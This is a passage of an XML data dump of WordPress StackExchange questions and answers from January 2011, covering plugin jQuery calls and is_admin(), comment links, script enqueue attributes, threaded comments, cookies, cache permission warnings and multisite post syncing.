Tags="&lt;comments&gt;&lt;permalinks&gt;&lt;users&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8128" PostTypeId="1" CreationDate="2011-01-30T11:40:11.510" Score="0" ViewCount="165" Body="&lt;p&gt;I've created a plugin.&lt;br&gt;&#xA;In this plugin I have a function that will display some data.&lt;br&gt;&#xA;In this function I use &lt;code&gt;is_admin()&lt;/code&gt; to determine if the function is being called from the backend, because then I can add some additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an admin page, the function is loaded normaly. After an update using jQuery, the function is called to display new data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when the function is called through jQuery, the &lt;code&gt;is_admin()&lt;/code&gt; is &lt;strong&gt;false&lt;/strong&gt;, even if I am backend in admin mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't &lt;code&gt;is_admin&lt;/code&gt; working whne called through jQuery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for &lt;code&gt;is_admin()&lt;/code&gt; is called when I click the save button for a new event (or updating existing event).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After clicking save / update, the calendar list is updated through jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are parts of the plugin code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// create custom plugin settings menu&#xA;if ( function_exists('add_action') ) {&#xA;  add_shortcode('eventcal', 'shortcode_display_event');&#xA;}&#xA;&#xA;function shortcode_display_event($attr) {&#xA;  include_once('eventcal.class.php');&#xA;  $ec = new EventCalendar();&#xA;&#xA;    extract(shortcode_atts(array(&#xA;        'type' =&amp;gt; 'simple',&#xA;        'parent_id' =&amp;gt; '',&#xA;        'category' =&amp;gt; '',&#xA;        'count' =&amp;gt; '10',&#xA;        'link' =&amp;gt; ''&#xA;    ), $attr));&#xA;&#xA;  $data['events'] = $ec-&amp;gt;getMultipleEvents($cal_type, $count, $parent_id, $category);&#xA;  $data['link'] = $link;&#xA;  $data['type'] = $type;   &#xA;  $ec-&amp;gt;displayCalendarList($data); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the bit that is added if I'm in admin mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function extendedList( $data ) {&#xA;  (...)&#xA;  if(is_admin()) &#xA;    $eventList .= '&amp;lt;th class=&quot;eventActions&quot;&amp;gt;&amp;lt;/th&amp;gt;';&#xA;  $eventList .= '&amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;';&#xA;  (...)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the code for updating calendar list after update.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// New event - Form Submit&#xA;jQuery('#formNewEvent').live('submit' ,function() {&#xA;&#xA;    var formData = jQuery('#formNewEvent').serializeArray();&#xA;&#xA;    //Event ID is only given a value when an event has been clicked.&#xA;    if(jQuery('#event_id').val() != '')&#xA;    {&#xA;&#xA;      // UPDATE EVENT&#xA;      jQuery.post(&quot;/wp-content/plugins/wp-eventcal/eventcal_jquery.php&quot;, { instance: 'updateEvent', formData : formData, eventID : jQuery('#event_id').val() },&#xA;      function(data) {&#xA;        if(data.status == 'success') {&#xA;          // Here we update calendar list after data has been updated&#xA;          jQuery.post(&quot;/wp-content/plugins/wp-eventcal/eventcal_jquery.php&quot;, { instance: 'getEventList' },&#xA;          function(list) {&#xA;            jQuery('#eventListContainer').html(list);                  &#xA;          });&#xA;        }      &#xA;      }, &quot;json&quot;);&#xA;    }&#xA;    else {&#xA;      // ADD NEW EVENT&#xA;      jQuery.post(&quot;/wp-content/plugins/wp-eventcal/eventcal_jquery.php&quot;, { instance: 'addNewEvent', formData : formData },&#xA;      function(data) {&#xA;        // Here we update calendar list after new event have been added         &#xA;        if(data.status) {&#xA;          jQuery.post(&quot;/wp-content/plugins/wp-eventcal/eventcal_jquery.php&quot;, { instance: 'getEventList' },&#xA;          function(list) {&#xA;            jQuery('#eventListContainer').html(list);         &#xA;          });&#xA;        } &#xA;      }, &quot;json&quot;);        &#xA;    }&#xA;  return false;&#xA;}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-01-30T13:26:18.567" LastActivityDate="2011-01-30T13:26:18.567" Title="Problems with jQuery and is_admin()" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="1" />
  <row Id="8129" PostTypeId="2" ParentId="8127" CreationDate="2011-01-30T11:56:03.110" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ayaz Malik:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the function &lt;code&gt;get_comment_link()&lt;/code&gt;.  I've rewritten your code using some improved techniques and included the function call in place of what you had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  {$wpdb-&amp;gt;comments}.comment_ID,&#xA;  {$wpdb-&amp;gt;comments}.comment_post_ID,&#xA;  {$wpdb-&amp;gt;comments}.comment_content,&#xA;  {$wpdb-&amp;gt;posts}.post_title&#xA;FROM&#xA;  {$wpdb-&amp;gt;comments}&#xA;  INNER JOIN {$wpdb-&amp;gt;posts} &#xA;    ON {$wpdb-&amp;gt;comments}.comment_post_id={$wpdb-&amp;gt;posts}.ID&#xA;WHERE 1=1&#xA;  AND {$wpdb-&amp;gt;comments}.user_id = %d&#xA;  AND {$wpdb-&amp;gt;comments}.comment_approved = 1&#xA;ORDER BY&#xA;  {$wpdb-&amp;gt;comments}.comment_ID DESC&#xA;LIMIT 5&#xA;SQL;&#xA;$sql = $wpdb-&amp;gt;prepare($sql,$uid);  // $uid is assumed pre-defined before this code&#xA;$comments = $wpdb-&amp;gt;get_results($sql, OBJECT);&#xA;if ($comments) {&#xA;  echo '&amp;lt;ul&amp;gt;';&#xA;  foreach ($comments as $comment) {&#xA;    setup_postdata($comment);&#xA;    $link = get_comment_link($comment-&amp;gt;comment_ID);&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$link}'&amp;gt;Comment on {$comment-&amp;gt;post_title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot; .&#xA;           &quot;{$comment-&amp;gt;comment_content}&amp;lt;/li&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T11:56:03.110" CommentCount="2" />
  <row Id="8130" PostTypeId="2" ParentId="8128" CreationDate="2011-01-30T12:01:42.120" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Steven:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that you are not adding the jQuery() within an &lt;code&gt;'init'&lt;/code&gt; or &lt;code&gt;'admin_init'&lt;/code&gt;; my guess is &lt;em&gt;'yes'&lt;/em&gt;. Further, if you use an &lt;code&gt;'admin_init'&lt;/code&gt; hook you won't need to call &lt;code&gt;is_admin()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better yet, here's an answer about best practices when using jQuery within WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/what-is-the-best-way-to-add-custom-javascript-files-to-the-site/562#562&quot;&gt;&lt;strong&gt;What is the best way to add custom javascript files to the site?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T12:01:42.120" CommentCount="2" />
  <row Id="8131" PostTypeId="1" AcceptedAnswerId="8134" CreationDate="2011-01-30T12:47:25.190" Score="0" ViewCount="139" Body="&lt;p&gt;script type=&quot;text/javascript&quot; is optional in HTML5 and all browsers (even old ones) recognise JavaScript without it. I am building an HTML5 site and want my script output to be consistent. However, scripts that use the WordPress enqueue function are printed with type=&quot;text/javascript&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS is also printed with type=&quot;text/css&quot;, which is also not needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a filter to remove those properties. Is there one?&lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="2761" LastEditorDisplayName="" LastEditDate="2011-01-30T13:08:48.223" LastActivityDate="2011-01-30T14:59:16.227" Title="Is there a filter for enqueue script to strip the type=&quot;text/javascript&quot; property" Tags="&lt;theme-development&gt;&lt;wp-enqueue-script&gt;&lt;html5&gt;" AnswerCount="1" />
  <row Id="8132" PostTypeId="1" CreationDate="2011-01-30T14:13:49.393" Score="1" ViewCount="75" Body="&lt;p&gt;How can I show user's post counts of one's (Author) own in the admin post list (edit.php) instead of all post count of the system? like published (10), Draft (5) ... of his own or logedin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-01-30T15:13:14.807" Title="Showing Post Counts of One's (Author) Own in the admin post list" Tags="&lt;admin&gt;&lt;query-posts&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="8133" PostTypeId="1" AcceptedAnswerId="8135" CreationDate="2011-01-30T14:21:39.070" Score="0" ViewCount="192" Body="&lt;p&gt;Hey i tried using wordpress threaded comment feature but didn't work coz of custom theme. &#xA;I have tried wp threaded comments plugin it works like a charm but unfortunately it has a conflict with the FV community news plugin, It shows a reply button on the community news area/widget. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i tried to do it manually... no luck. can anyone suggest me or point meto somewhere i can get some data to fix this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wordpress version is 3.0.4&#xA;cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current COmment . php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Do not delete these lines&#xA;    if (!empty($_SERVER['SCRIPT_FILENAME']) &amp;amp;&amp;amp; 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))&#xA;        die ('Please do not load this page directly. Thanks!');&#xA;&#xA;    if (!empty($post-&amp;gt;post_password)) { // if there's a password&#xA;        if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post-&amp;gt;post_password) {  // and it doesn't match the cookie&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;This post is password protected. Enter the password to view comments.&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            return;&#xA;        }&#xA;    }&#xA;&#xA;    /* This variable is for alternating comment background */&#xA;    $oddcomment = 'alt';&#xA;?&amp;gt;&#xA;&amp;lt;?php if ( $comments ) : ?&amp;gt;&#xA;&amp;lt;!-- You can start editing here. --&amp;gt;&#xA;&#xA;            &amp;lt;?php $urlHome = get_bloginfo('template_directory'); ?&amp;gt;&#xA;                        &amp;lt;div class=&quot;box post-comments&quot; id=&quot;comments&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Awesome Comments!&amp;lt;/h4&amp;gt;&#xA;&#xA;                    &amp;lt;?php foreach ($comments as $comment) : ?&amp;gt;&#xA;                   &amp;lt;?php $comment_type = get_comment_type(); ?&amp;gt;&#xA;&amp;lt;?php if($comment_type == 'comment') { ?&amp;gt;&#xA;                     &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot; class=&quot;fl ar&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;pic&quot;&amp;gt;&amp;lt;?php echo get_avatar( $comment, 80, $default = $urlHome . '/images/default_avatar_visitor.gif' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;comm-name&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php comment_author_url(); ?&amp;gt;&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&amp;gt;&amp;lt;?php comment_author(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;comm-date&quot;&amp;gt;&amp;lt;small&amp;gt;&amp;lt;em&amp;gt;&amp;lt;?php the_time('m.d.y') ?&amp;gt;&amp;lt;/em&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/div&amp;gt;&#xA;                     &amp;lt;/div&amp;gt;&#xA;                     &amp;lt;div class=&quot;fr&quot;&amp;gt;&#xA;                       &amp;lt;div class=&quot;box2 &amp;lt;?php echo $oddcomment; ?&amp;gt;&quot;&amp;gt;&#xA;                         &amp;lt;?php comment_text() ?&amp;gt;&#xA;                       &amp;lt;/div&amp;gt;&amp;lt;!--/box2 --&amp;gt;&#xA;                     &amp;lt;/div&amp;gt;   &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;?php $oddcomment = ( empty( $oddcomment ) ) ? 'alt' : ''; ?&amp;gt; &#xA;                        &amp;lt;?php } /* End of is_comment statement */ ?&amp;gt;&#xA;                                    &amp;lt;?php endforeach; // end for each comment ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;&#xA;               &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;               &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;h3 id=&quot;trackbacks&quot;&amp;gt;Trackbacks&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ol class=&quot;trackbacksol&quot;&amp;gt;&#xA;    &amp;lt;?php //Displays trackbacks only&#xA;    foreach ($comments as $comment) : ?&amp;gt;&#xA;        &amp;lt;?php $comment_type = get_comment_type(); ?&amp;gt;&#xA;        &amp;lt;?php if($comment_type != 'comment') { ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;?php comment_author_link() ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php }  endforeach; ?&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ('open' == $post-&amp;gt;comment_status) : ?&amp;gt; &#xA;            &amp;lt;div id=&quot;respond&quot; class=&quot;box post-comments&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Leave Your Response&amp;lt;/h2&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( get_option('comment_registration') &amp;amp;&amp;amp; !$user_ID ) : ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;You must be &amp;lt;a href=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-login.php?redirect_to=&amp;lt;?php echo urlencode(get_permalink()); ?&amp;gt;&quot;&amp;gt;logged in&amp;lt;/a&amp;gt; to post a comment.&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;fl&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( is_user_logged_in() ) {?&amp;gt;&#xA;                        &amp;lt;div class=&quot;pic&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/default_avatar_visitor.gif&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;?  } else { ?&amp;gt;&#xA;                         &amp;lt;p&amp;gt;Your Name: &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:9px;&quot;&amp;gt;Your Email: &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:12px;&quot;&amp;gt;Website: &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p style=&quot;margin-top:15px;&quot;&amp;gt;Comments: &amp;lt;/p&amp;gt; &amp;lt;? } ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;fr&quot;&amp;gt;&#xA;                        &amp;lt;form action=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-comments-post.php&quot; method=&quot;post&quot; id=&quot;commentform&quot;&amp;gt;&#xA;                            &amp;lt;fieldset class=&quot;message&quot;&amp;gt;&#xA;                            &amp;lt;?php if ( $user_ID ) : ?&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Logged in as &amp;lt;a href=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-admin/profile.php&quot;&amp;gt;&amp;lt;?php echo $user_identity; ?&amp;gt;&amp;lt;/a&amp;gt;. &amp;lt;a href=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-login.php?action=logout&quot; title=&quot;Log out of this account&quot;&amp;gt;Log out &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;?php else : ?&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;input name=&quot;author&quot; id=&quot;author&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;input name=&quot;email&quot; id=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;input name=&quot;url&quot; id=&quot;url&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                            &amp;lt;div class=&quot;textarea&quot;&amp;gt;&#xA;                                &amp;lt;textarea name=&quot;comment&quot; id=&quot;comment&quot; cols=&quot;&quot; rows=&quot;&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;submit&quot;&amp;gt;&#xA;                                &amp;lt;input name=&quot;submit&quot; id=&quot;submit&quot; type=&quot;image&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/btn-submit.gif&quot; value=&quot;Send&quot; class=&quot;btn&quot;  /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;notice&quot;&amp;gt;* Name, Email, Comment are Required&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;comment_post_ID&quot; value=&quot;&amp;lt;?php echo $id; ?&amp;gt;&quot; /&amp;gt;&#xA;                            &amp;lt;?php do_action('comment_form', $post-&amp;gt;ID); ?&amp;gt;&#xA;                            &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;/form&amp;gt;&#xA;                        &amp;lt;?php endif; // If registration required and not logged in ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!--/content --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!--/box --&amp;gt;&#xA;            &amp;lt;?php endif; // if you delete this the sky will fall on your head ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2419" LastEditorUserId="2419" LastEditorDisplayName="" LastEditDate="2011-01-30T15:13:01.263" LastActivityDate="2011-03-24T06:25:16.727" Title="Unable to thread comments because of custom comments.php file" Tags="&lt;themes&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="8134" PostTypeId="2" ParentId="8131" CreationDate="2011-01-30T14:59:16.227" Score="1" ViewCount="" Body="&lt;p&gt;This is hardcoded in &lt;code&gt;WP_Scripts-&amp;gt;do_item()&lt;/code&gt; method ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/class.wp-scripts.php#L125&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) and probably same for styles. So it cannot be filtered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As alternative you can extend class with modified version of this method and replace instance in global &lt;code&gt;$wp_scripts&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T14:59:16.227" CommentCount="1" />
  <row Id="8135" PostTypeId="2" ParentId="8133" CreationDate="2011-01-30T15:05:32.757" Score="1" ViewCount="" Body="&lt;p&gt;Does it not work because theme is old or simply coded in incompatible way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is this article in Codex that might be relevant - &lt;a href=&quot;http://codex.wordpress.org/Migrating_Plugins_and_Themes_to_2.7/Enhanced_Comment_Display&quot; rel=&quot;nofollow&quot;&gt;Migrating Plugins and Themes to 2.7/Enhanced Comment Display&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I'd take a look at some modern theme (like Twenty Ten) and see how is it properly coded for current WordPress version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T15:05:32.757" CommentCount="5" />
  <row Id="8136" PostTypeId="2" ParentId="8132" CreationDate="2011-01-30T15:13:14.807" Score="1" ViewCount="" Body="&lt;p&gt;This seems to be applied automatically if user doesn't have &lt;code&gt;edit_others_posts&lt;/code&gt; capability for post type ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/edit.php#L143&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I see no easy way to change it. As many things in admin it is mostly hardcoded and doesn't pass through any filters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T15:13:14.807" CommentCount="2" />
  <row Id="8137" PostTypeId="1" AcceptedAnswerId="8148" CreationDate="2011-01-30T16:28:10.213" Score="0" ViewCount="233" Body="&lt;p&gt;I'm working on the admin interface for a plugin I'm developing, and it involves collapsible layouts. I want the state of the layout to be remembered when the page is refreshed, so I'm trying to use some simple cookies to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interface, there are &quot;collapse&quot; buttons that collapse sections of the admin panel. Whenever a button is clicked, I need a cookie set for the state of that section. So if a section is closed, a cookie needs to be created to remember that. Then, if the same button is clicked, the cookie needs to be modified to indicate that the section has been reopened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I have so far for setting a cookie to true (or false) when a button is clicked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    $('.ss-show-collapse').click(function(){&#xA;            var collapse_anchor = '.'+$(this).attr(&quot;id&quot;)+' span';&#xA;            show_collapse = '.ss-show'+$(this).attr(&quot;id&quot;).replace('ss-show-collapse', '');&#xA;            $(show_collapse ).toggleFade('slow');&#xA;            $(collapse_anchor).toggle();&#xA;            if (getCookie($(this).attr(&quot;id&quot;)) == true) {&#xA;                setCookie($(this).attr(&quot;id&quot;), false, 1);&#xA;            } else {&#xA;                setCookie($(this).attr(&quot;id&quot;), true, 1);&#xA;            }&#xA;            alert(getCookie($(this).attr(&quot;id&quot;))); // just to see that the cookie was modified&#xA;        return false;&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine to set the cookie to &quot;true&quot; the first time, but will never delete the cookie if it already exists.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2418" LastEditorDisplayName="" LastEditDate="2011-01-30T19:30:18.747" LastActivityDate="2011-01-30T21:12:48.263" Title="Having trouble setting / modifying cookies" Tags="&lt;jquery&gt;&lt;cookies&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="8138" PostTypeId="2" ParentId="8137" CreationDate="2011-01-30T17:11:07.343" Score="0" ViewCount="" Body="&lt;p&gt;You don’t have to delete it, just change the value to false or set an expired date.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-30T17:11:07.343" CommentCount="2" />
  <row Id="8139" PostTypeId="1" CreationDate="2011-01-30T17:41:05.483" Score="0" ViewCount="100" Body="&lt;p&gt;I am working on one project for a client who has several multisite installed in wordpress. Site is working well but I am experiencing a warning message when I click the Video link in home page.The message is shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rktron.devstars.net/uk/videos/&quot; rel=&quot;nofollow&quot;&gt;rocktron Uk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: file_put_contents(cache/ecd2071956f5730430b8b710d168a85d.spc) [function.file-put-contents]: failed to open stream: Permission denied in /home/default/rktron.devstars.net/user/htdocs/simplepie.inc on line 8671&#xA;Warning: cache is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable. in /home/default/rktron.devstars.net/user/htdocs/simplepie.inc on line 1780&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is defined in videos-page.php which is shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// YouTube RSS URL via FeedBurner: http://feeds.feedburner.com/rocktron&#xA;require_once(getenv(&quot;DOCUMENT_ROOT&quot;). '/simplepie.inc');&#xA;$feed = new SimplePie();&#xA;$feed-&amp;gt;set_feed_url(array('http://feeds.feedburner.com/rocktron'));&#xA;$feed-&amp;gt;enable_cache(true);&#xA;$feed-&amp;gt;set_cache_location('cache');&#xA;$feed-&amp;gt;set_cache_duration(1800);&#xA;$feed-&amp;gt;init();&#xA;$feed-&amp;gt;handle_content_type();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works , video page shown, videos also play but warning message shown on top of the video page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue to solve this mystery will be really helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2824" LastActivityDate="2011-01-30T19:14:27.953" Title="Permission warning in wordpress multisite" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="8140" PostTypeId="1" CreationDate="2011-01-30T18:40:58.523" Score="0" ViewCount="67" Body="&lt;p&gt;I created a custom theme for a client a while back and then it sorta mysteriously broke several months later by reverting to an early version that had a few links to my website hard coded into it. I made the fixes but then discovered that no matter how I tried to make the changes - ftp'ing up the file, fixing from right within wordpress, etc. - wordpress just went right back to the version that was currently up there. I even added random text to check my theory and that wouldn't show up either. Yet, oddly enough, I could go into the theme editor in Wordpress and see the correct version of the file showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally decided to just switch to another theme, nuke that one and try to fix it and upload it again. Wordpress won't let me switch to another theme. I'll pick another theme and activate it, the website will completely stop showing up, and I'll go back to the Theme editor and the original theme will be appearing as the default theme. At this point, I'm a little afraid to remove the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if this is some type of database issue. However, my client's control panel does not give her access to the database. Does anyone have any thoughts?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T19:38:30.840" Title="I've got a theme I can't update and won't let go" Tags="&lt;themes&gt;&lt;database&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8141" PostTypeId="2" ParentId="8139" CreationDate="2011-01-30T18:41:00.020" Score="0" ViewCount="" Body="&lt;p&gt;The error message states the cache is not writeable. That means you have to go check and change the permissions on the folder that is gives you in the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, have a look at the file in /home/default/rktron.devstars.net/user/htdocs/simplepie.inc on line 1780. What does it say? What folder is it looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all to do with simplepie on your server. It's actually noting multisite-specific.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-30T18:41:00.020" CommentCount="1" />
  <row Id="8142" PostTypeId="1" AcceptedAnswerId="8147" CreationDate="2011-01-30T18:50:52.600" Score="0" ViewCount="161" Body="&lt;p&gt;Is it possible to two way sync a post type between multiple sites on a multisite install? For example if someone makes a change to an entry under post type &quot;inventory&quot; on Site A how can I make that reflect on Site B automatically and vice versa?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that there are two main possible way of doing this, neither of which I'm sure can easily be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A plugin hooks into the edit_post so when a change is made the plugin edits the sister entry in the other blog's database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Anytime Site B views or edits an &quot;inventory&quot; post type it is reading it from Site A's database table.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-01-31T00:47:05.287" LastActivityDate="2011-01-31T00:47:05.287" Title="Two-way synchronizing of a post type among multisite blogs" Tags="&lt;custom-post-types&gt;&lt;multisite&gt;&lt;import&gt;&lt;export&gt;&lt;sync&gt;" AnswerCount="1" />
